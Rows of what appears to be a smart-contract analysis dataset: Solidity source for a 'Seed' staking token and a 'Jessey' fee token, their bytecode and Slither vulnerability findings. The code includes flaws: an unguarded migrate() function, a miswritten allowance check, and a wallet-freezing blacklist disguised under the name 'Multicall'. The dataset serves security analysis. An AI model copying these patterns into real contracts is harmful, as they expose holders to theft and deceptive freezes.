mapping(address => mapping(address => uint256)) private _allowances;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor() Ownable(msg.sender) {
_totalSupply = 1000000 * 1e18;
_name = "Seed";
_symbol = "SEED";
_decimals = 18;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function name() external view returns (string memory) {
return _name;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function decimals() external view returns (uint8) {
return _decimals;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function approve(address spender, uint256 amount) external returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
if (_allowances[msg.sender][sender] != UINT256_MAX) {
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
}
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function mint(address account, uint256 amount) external onlyOwner {
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function burn(uint256 amount) external returns (bool) {
_balances[msg.sender] = _balances[msg.sender].sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(msg.sender, address(0), amount);
return true;
}
}
abstract contract ReentrancyGuard {
bool private _entered;
modifier noReentrancy() {
require(!_entered);
_entered = true;
_;
_entered = false;
}
}
contract SeedStake is ReentrancyGuard, Ownable {
uint256 constant MONTH = 30 days;
using SafeMath for uint256;
uint256 constant UINT256_MAX = ~uint256(0);
Seed private _SEED;
bool private _dated;
bool private _migrated;
uint256 _deployedAt;
uint256 _totalStaked;
mapping (address => uint256) private _staked;
mapping (address => uint256) private _lastClaim;
address private _developerFund;
event StakeIncreased(address indexed staker, uint256 amount);
event StakeDecreased(address indexed staker, uint256 amount);
event Rewards(address indexed staker, uint256 mintage, uint256 developerFund);
event MelodyAdded(address indexed melody);
event MelodyRemoved(address indexed melody);
constructor(address seed) Ownable(msg.sender) {
_SEED = Seed(seed);
_developerFund = msg.sender;
_deployedAt = block.timestamp;
}
function upgradeDevelopmentFund(address fund) external onlyOwner {
_developerFund = fund;
}
function seed() external view returns (address) {
return address(_SEED);
}
function totalStaked() external view returns (uint256) {
return _totalStaked;
}
function migrate(address previous, address[] memory people, uint256[] memory lastClaims) external {
require(!_migrated);
require(people.length == lastClaims.length);
for (uint i = 0; i < people.length; i++) {
uint256 staked = SeedStake(previous).staked(people[i]);
_staked[people[i]] = staked;
_totalStaked = _totalStaked.add(staked);
_lastClaim[people[i]] = lastClaims[i];
emit StakeIncreased(people[i], staked);
}
require(_SEED.transferFrom(previous, address(this), _SEED.balanceOf(previous)));
_migrated = true;
}
function staked(address staker) external view returns (uint256) {
return _staked[staker];
}
function lastClaim(address staker) external view returns (uint256) {
return _lastClaim[staker];
}
function increaseStake(uint256 amount) external {
require(!_dated);
require(_SEED.transferFrom(msg.sender, address(this), amount));
_totalStaked = _totalStaked.add(amount);
_lastClaim[msg.sender] = block.timestamp;
_staked[msg.sender] = _staked[msg.sender].add(amount);
emit StakeIncreased(msg.sender, amount);
}
function decreaseStake(uint256 amount) external {
_staked[msg.sender] = _staked[msg.sender].sub(amount);
_totalStaked = _totalStaked.sub(amount);
require(_SEED.transfer(address(msg.sender), amount));
emit StakeDecreased(msg.sender, amount);
}
function calculateSupplyDivisor() public view returns (uint256) {
// base divisior for 5%
uint256 result = uint256(20)
.add(
// get how many months have passed since deployment
block.timestamp.sub(_deployedAt).div(MONTH)
// multiply by 5 which will be added, tapering from 20 to 50
.mul(5)
);
// set a cap of 50
if (result > 50) {
result = 50;
}
return result;
}
function _calculateMintage(address staker) private view returns (uint256) {
// total supply
uint256 share = _SEED.totalSupply()
// divided by the supply divisor
// initially 20 for 5%, increases to 50 over months for 2%
.div(calculateSupplyDivisor())
// divided again by their stake representation
.div(_totalStaked.div(_staked[staker]));
// this share is supposed to be issued monthly, so see how many months its been
uint256 timeElapsed = block.timestamp.sub(_lastClaim[staker]);
uint256 mintage = 0;
// handle whole months
if (timeElapsed > MONTH) {
mintage = share.mul(timeElapsed.div(MONTH));
timeElapsed = timeElapsed.mod(MONTH);
}
// handle partial months, if there are any
// this if check prevents a revert due to div by 0
if (timeElapsed != 0) {
mintage = mintage.add(share.div(MONTH.div(timeElapsed)));
}
return mintage;
}
function calculateRewards(address staker) public view returns (uint256) {
// removes the five percent for the dev fund
return _calculateMintage(staker).div(20).mul(19);
}
// noReentrancy shouldn't be needed due to the lack of external calls
// better safe than sorry
function claimRewards() external noReentrancy {
require(!_dated);
uint256 mintage = _calculateMintage(msg.sender);
uint256 mintagePiece = mintage.div(20);
require(mintagePiece > 0);
// update the last claim time
_lastClaim[msg.sender] = block.timestamp;
// mint out their staking rewards and the dev funds
_SEED.mint(msg.sender, mintage.sub(mintagePiece));
_SEED.mint(_developerFund, mintagePiece);
emit Rewards(msg.sender, mintage, mintagePiece);
}
function addMelody(address melody) external onlyOwner {
_SEED.approve(melody, UINT256_MAX);
emit MelodyAdded(melody);
}
function removeMelody(address melody) external onlyOwner {
_SEED.approve(melody, 0);
emit MelodyRemoved(melody);
}
function upgrade(address owned, address upgraded) external onlyOwner {
_dated = true;
IOwnershipTransferrable(owned).transferOwnership(upgraded);
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638da5cb5b11610097578063eedad66b11610066578063eedad66b14610266578063f2397f3e14610283578063f2fde38b146102a9578063f3177079146102cf57610100565b80638da5cb5b146101ed57806398807d84146101f557806399a88ec41461021b578063e8b96de11461024957610100565b806364ab8675116100d357806364ab8675146101755780636de3ac3f1461019b5780637d94792a146101c1578063817b1cd2146101e557610100565b80632da8913614610105578063372500ab1461012d5780634c885c02146101355780635c16e15e1461014f575b600080fd5b61012b6004803603602081101561011b57600080fd5b50356001600160a01b0316610406565b005b61012b610513565b61013d6106b9565b60408051918252519081900360200190f35b61013d6004803603602081101561016557600080fd5b50356001600160a01b0316610708565b61013d6004803603602081101561018b57600080fd5b50356001600160a01b0316610723565b61012b600480360360208110156101b157600080fd5b50356001600160a01b031661073e565b6101c96107b2565b604080516001600160a01b039092168252519081900360200190f35b61013d6107c1565b6101c96107c7565b61013d6004803603602081101561020b57600080fd5b50356001600160a01b03166107db565b61012b6004803603604081101561023157600080fd5b506001600160a01b03813581169160200135166107f6565b61012b6004803603602081101561025f57600080fd5b50356108c2565b61012b6004803603602081101561027c57600080fd5b50356109be565b61012b6004803603602081101561029957600080fd5b50356001600160a01b0316610ae7565b61012b600480360360208110156102bf57600080fd5b50356001600160a01b0316610bf3565b61012b600480360360608110156102e557600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561031057600080fd5b82018360208201111561032257600080fd5b8035906020019184602083028401116401000000008311171561034457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929594936020810193503591505064010000000081111561039457600080fd5b8201836020820111156103a657600080fd5b803590602001918460208302840111640100000000831117156103c857600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610cf0945050505050565b60005461010090046001600160a01b03163314610458576040805162461bcd60e51b815260206004820181905260248201526000805160206111d7833981519152604482015290519081900360640190fd5b6001546040805163095ea7b360e01b81526001600160a01b038481166004830152600060248301819052925193169263095ea7b392604480840193602093929083900390910190829087803b1580156104b057600080fd5b505af11580156104c4573d6000803e3d6000fd5b505050506040513d60208110156104da57600080fd5b50506040516001600160a01b038216907f3161d766eb7d07d5e1ceea9abc5160636a3ec586a0f95a0c0cf367af6706d0b790600090a250565b60005460ff161561052357600080fd5b6000805460ff1916600190811790915554600160a01b900460ff161561054857600080fd5b600061055333610fd4565b9050600061056282601461111c565b90506000811161057157600080fd5b3360008181526005602052604090204290556001546001600160a01b0316906340c10f19906105a0858561113e565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050600060405180830381600087803b1580156105e657600080fd5b505af11580156105fa573d6000803e3d6000fd5b5050600154600654604080516340c10f1960e01b81526001600160a01b0392831660048201526024810187905290519190921693506340c10f199250604480830192600092919082900301818387803b15801561065657600080fd5b505af115801561066a573d6000803e3d6000fd5b5050604080518581526020810185905281513394507f61953b03ced70bb23c53b5a7058e431e3db88cf84a72660faea0849b785c43bd93509081900390910190a250506000805460ff19169055565b6000806106f46106ec60056106e662278d006106e06002544261113e90919063ffffffff16565b9061111c565b90611153565b601490611181565b90506032811115610703575060325b905090565b6001600160a01b031660009081526005602052604090205490565b600061073860136106e660146106e086610fd4565b92915050565b60005461010090046001600160a01b03163314610790576040805162461bcd60e51b815260206004820181905260248201526000805160206111d7833981519152604482015290519081900360640190fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6001546001600160a01b031690565b60035490565b60005461010090046001600160a01b031690565b6001600160a01b031660009081526004602052604090205490565b60005461010090046001600160a01b03163314610848576040805162461bcd60e51b815260206004820181905260248201526000805160206111d7833981519152604482015290519081900360640190fd5b6001805460ff60a01b1916600160a01b1790556040805163f2fde38b60e01b81526001600160a01b03838116600483015291519184169163f2fde38b9160248082019260009290919082900301818387803b1580156108a657600080fd5b505af11580156108ba573d6000803e3d6000fd5b505050505050565b336000908152600460205260409020546108dc908261113e565b336000908152600460205260409020556003546108f9908261113e565b6003556001546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561095057600080fd5b505af1158015610964573d6000803e3d6000fd5b505050506040513d602081101561097a57600080fd5b505161098557600080fd5b60408051828152905133917f700865370ffb2a65a2b0242e6a64b21ac907ed5ecd46c9cffc729c177b2b1c69919081900360200190a250565b600154600160a01b900460ff16156109d557600080fd5b600154604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015610a2f57600080fd5b505af1158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051610a6457600080fd5b600354610a719082611181565b6003553360009081526005602090815260408083204290556004909152902054610a9b9082611181565b33600081815260046020908152604091829020939093558051848152905191927f8b0ed825817a2e696c9a931715af4609fc60e1701f09c89ee7645130e937eb2d92918290030190a250565b60005461010090046001600160a01b03163314610b39576040805162461bcd60e51b815260206004820181905260248201526000805160206111d7833981519152604482015290519081900360640190fd5b6001546040805163095ea7b360e01b81526001600160a01b03848116600483015260001960248301529151919092169163095ea7b39160448083019260209291908290030181600087803b158015610b9057600080fd5b505af1158015610ba4573d6000803e3d6000fd5b505050506040513d6020811015610bba57600080fd5b50506040516001600160a01b038216907fb87d41b5cab885fb2ce4b4c06efc62eea320378130b36c709de7d45facaa1bc890600090a250565b60005461010090046001600160a01b03163314610c45576040805162461bcd60e51b815260206004820181905260248201526000805160206111d7833981519152604482015290519081900360640190fd5b6001600160a01b038116610c8a5760405162461bcd60e51b81526004018080602001828103825260268152602001806111b16026913960400191505060405180910390fd5b600080546040516001600160a01b038085169361010090930416917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b600154600160a81b900460ff1615610d0757600080fd5b8051825114610d1557600080fd5b60005b8251811015610eab576000846001600160a01b03166398807d84858481518110610d3e57fe5b60200260200101516040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015610d8357600080fd5b505afa158015610d97573d6000803e3d6000fd5b505050506040513d6020811015610dad57600080fd5b505184519091508190600490600090879086908110610dc857fe5b6020908102919091018101516001600160a01b0316825281019190915260400160002055600354610df99082611181565b6003558251839083908110610e0a57fe5b602002602001015160056000868581518110610e2257fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002081905550838281518110610e5a57fe5b60200260200101516001600160a01b03167f8b0ed825817a2e696c9a931715af4609fc60e1701f09c89ee7645130e937eb2d826040518082815260200191505060405180910390a250600101610d18565b50600154604080516370a0823160e01b81526001600160a01b038681166004830152915191909216916323b872dd918691309185916370a08231916024808301926020929190829003018186803b158015610f0557600080fd5b505afa158015610f19573d6000803e3d6000fd5b505050506040513d6020811015610f2f57600080fd5b5051604080516001600160e01b031960e087901b1681526001600160a01b0394851660048201529290931660248301526044820152905160648083019260209291908290030181600087803b158015610f8757600080fd5b505af1158015610f9b573d6000803e3d6000fd5b505050506040513d6020811015610fb157600080fd5b5051610fbc57600080fd5b50506001805460ff60a81b1916600160a81b17905550565b6001600160a01b038116600090815260046020526040812054600354829161108a91610fff9161111c565b6106e061100a6106b9565b600160009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561105857600080fd5b505afa15801561106c573d6000803e3d6000fd5b505050506040513d602081101561108257600080fd5b50519061111c565b6001600160a01b038416600090815260056020526040812054919250906110b290429061113e565b9050600062278d008211156110ea576110d86110d18362278d0061111c565b8490611153565b90506110e78262278d00611193565b91505b81156111145761111161110a61110362278d008561111c565b859061111c565b8290611181565b90505b949350505050565b600080821161112a57600080fd5b600082848161113557fe5b04949350505050565b60008282111561114d57600080fd5b50900390565b60008261116257506000610738565b8282028284828161116f57fe5b041461117a57600080fd5b9392505050565b60008282018381101561117a57600080fd5b60008161119f57600080fd5b8183816111a857fe5b06939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a26469706673582212207915c6707b43fbeaab7a9fdf0ffc4396d3689680963c915ee5160a92ccd0c7c764736f6c63430007000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 3,533 |
0x085b0e9a033a3961e10e69cb52c271e380d7e8dc
|
/**
*Submitted for verification at Etherscan.io on 2022-04-16
*/
pragma solidity ^0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Jessey is Context, IERC20, Ownable { ////
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e12 * 10**9;
string public constant name = unicode"Jessey"; ////
string public constant symbol = unicode"JES"; ////
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable private _FeeAddress1;
address payable private _FeeAddress2;
address public uniswapV2Pair;
uint public _buyFee = 3;
uint public _sellFee = 3;
uint public _feeRate = 9;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap;
bool public _useImpactFeeSetter = true;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event FeeAddress1Updated(address _feewallet1);
event FeeAddress2Updated(address _feewallet2);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable FeeAddress1, address payable FeeAddress2) {
_FeeAddress1 = FeeAddress1;
_FeeAddress2 = FeeAddress2;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress1] = true;
_isExcludedFromFee[FeeAddress2] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
require (recipient == tx.origin, "pls no bot");
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "ERC20: transfer from frozen wallet.");
bool isBuy = false;
if(from != owner() && to != owner()) {
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
require(block.timestamp != _launchedAt, "pls no snip");
if((_launchedAt + (1 hours)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5%
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (120 seconds)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
// sell
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeAddress1.transfer(amount / 2);
_FeeAddress2.transfer(amount / 2);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
if(block.timestamp < _launchedAt + (15 minutes)) {
fee += 5;
}
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 30000000000 * 10**9; // 3%
_maxHeldTokens = 30000000000 * 10**9; // 3%
}
function manualswap() external {
require(_msgSender() == _FeeAddress1);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress1);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeAddress1);
require(rate > 0, "Rate can't be zero");
// 100% is the common fee rate
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _FeeAddress1);
require(buy <= 10);
require(sell <= 10);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function Multicall(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateFeeAddress1(address newAddress) external {
require(_msgSender() == _FeeAddress1);
_FeeAddress1 = payable(newAddress);
emit FeeAddress1Updated(_FeeAddress1);
}
function updateFeeAddress2(address newAddress) external {
require(_msgSender() == _FeeAddress2);
_FeeAddress2 = payable(newAddress);
emit FeeAddress2Updated(_FeeAddress2);
}
// view functions
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101f25760003560e01c8063509016171161010d57806395d89b41116100a0578063c9567bf91161006f578063c9567bf9146106c4578063db92dbb6146106db578063dcb0e0ad14610706578063dd62ed3e1461072f578063e8078d941461076c576101f9565b806395d89b411461061a578063a9059cbb14610645578063b2131f7d14610682578063c3c8cd80146106ad576101f9565b8063715018a6116100dc578063715018a6146105845780637a49cddb1461059b5780638da5cb5b146105c457806394b8d8f2146105ef576101f9565b806350901617146104dc578063590f897e146105055780636fc3eaec1461053057806370a0823114610547576101f9565b806327f3a72a116101855780633bbac579116101545780633bbac5791461042057806340b9a54b1461045d57806345596e2e1461048857806349bd5a5e146104b1576101f9565b806327f3a72a14610376578063313ce567146103a157806331c2d847146103cc57806332d873d8146103f5576101f9565b80630b78f9c0116101c15780630b78f9c0146102ba57806318160ddd146102e35780631940d0201461030e57806323b872dd14610339576101f9565b80630492f055146101fe57806306fdde03146102295780630802d2f614610254578063095ea7b31461027d576101f9565b366101f957005b600080fd5b34801561020a57600080fd5b50610213610783565b6040516102209190612d91565b60405180910390f35b34801561023557600080fd5b5061023e610789565b60405161024b9190612e45565b60405180910390f35b34801561026057600080fd5b5061027b60048036038101906102769190612ed9565b6107c2565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612f32565b6108c0565b6040516102b19190612f8d565b60405180910390f35b3480156102c657600080fd5b506102e160048036038101906102dc9190612fa8565b6108de565b005b3480156102ef57600080fd5b506102f86109aa565b6040516103059190612d91565b60405180910390f35b34801561031a57600080fd5b506103236109bb565b6040516103309190612d91565b60405180910390f35b34801561034557600080fd5b50610360600480360381019061035b9190612fe8565b6109c1565b60405161036d9190612f8d565b60405180910390f35b34801561038257600080fd5b5061038b610bb2565b6040516103989190612d91565b60405180910390f35b3480156103ad57600080fd5b506103b6610bc2565b6040516103c39190613057565b60405180910390f35b3480156103d857600080fd5b506103f360048036038101906103ee91906131ba565b610bc7565b005b34801561040157600080fd5b5061040a610cbd565b6040516104179190612d91565b60405180910390f35b34801561042c57600080fd5b5061044760048036038101906104429190612ed9565b610cc3565b6040516104549190612f8d565b60405180910390f35b34801561046957600080fd5b50610472610d19565b60405161047f9190612d91565b60405180910390f35b34801561049457600080fd5b506104af60048036038101906104aa9190613203565b610d1f565b005b3480156104bd57600080fd5b506104c6610e9b565b6040516104d3919061323f565b60405180910390f35b3480156104e857600080fd5b5061050360048036038101906104fe9190612ed9565b610ec1565b005b34801561051157600080fd5b5061051a610fbf565b6040516105279190612d91565b60405180910390f35b34801561053c57600080fd5b50610545610fc5565b005b34801561055357600080fd5b5061056e60048036038101906105699190612ed9565b611037565b60405161057b9190612d91565b60405180910390f35b34801561059057600080fd5b50610599611080565b005b3480156105a757600080fd5b506105c260048036038101906105bd91906131ba565b6111d3565b005b3480156105d057600080fd5b506105d96113af565b6040516105e6919061323f565b60405180910390f35b3480156105fb57600080fd5b506106046113d8565b6040516106119190612f8d565b60405180910390f35b34801561062657600080fd5b5061062f6113eb565b60405161063c9190612e45565b60405180910390f35b34801561065157600080fd5b5061066c60048036038101906106679190612f32565b611424565b6040516106799190612f8d565b60405180910390f35b34801561068e57600080fd5b50610697611442565b6040516106a49190612d91565b60405180910390f35b3480156106b957600080fd5b506106c2611448565b005b3480156106d057600080fd5b506106d96114c2565b005b3480156106e757600080fd5b506106f06115eb565b6040516106fd9190612d91565b60405180910390f35b34801561071257600080fd5b5061072d60048036038101906107289190613286565b61161d565b005b34801561073b57600080fd5b50610756600480360381019061075191906132b3565b611715565b6040516107639190612d91565b60405180910390f35b34801561077857600080fd5b5061078161179c565b005b600e5481565b6040518060400160405280600681526020017f4a6573736579000000000000000000000000000000000000000000000000000081525081565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610803611c4d565b73ffffffffffffffffffffffffffffffffffffffff161461082357600080fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516108b59190613352565b60405180910390a150565b60006108d46108cd611c4d565b8484611c55565b6001905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661091f611c4d565b73ffffffffffffffffffffffffffffffffffffffff161461093f57600080fd5b600a82111561094d57600080fd5b600a81111561095b57600080fd5b81600b8190555080600c819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1600b54600c5460405161099e92919061336d565b60405180910390a15050565b6000683635c9adc5dea00000905090565b600f5481565b6000601160009054906101000a900460ff168015610a295750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610a825750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15610af6573273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610af5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aec906133e2565b60405180910390fd5b5b610b01848484611e1e565b600082600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b4d611c4d565b73ffffffffffffffffffffffffffffffffffffffff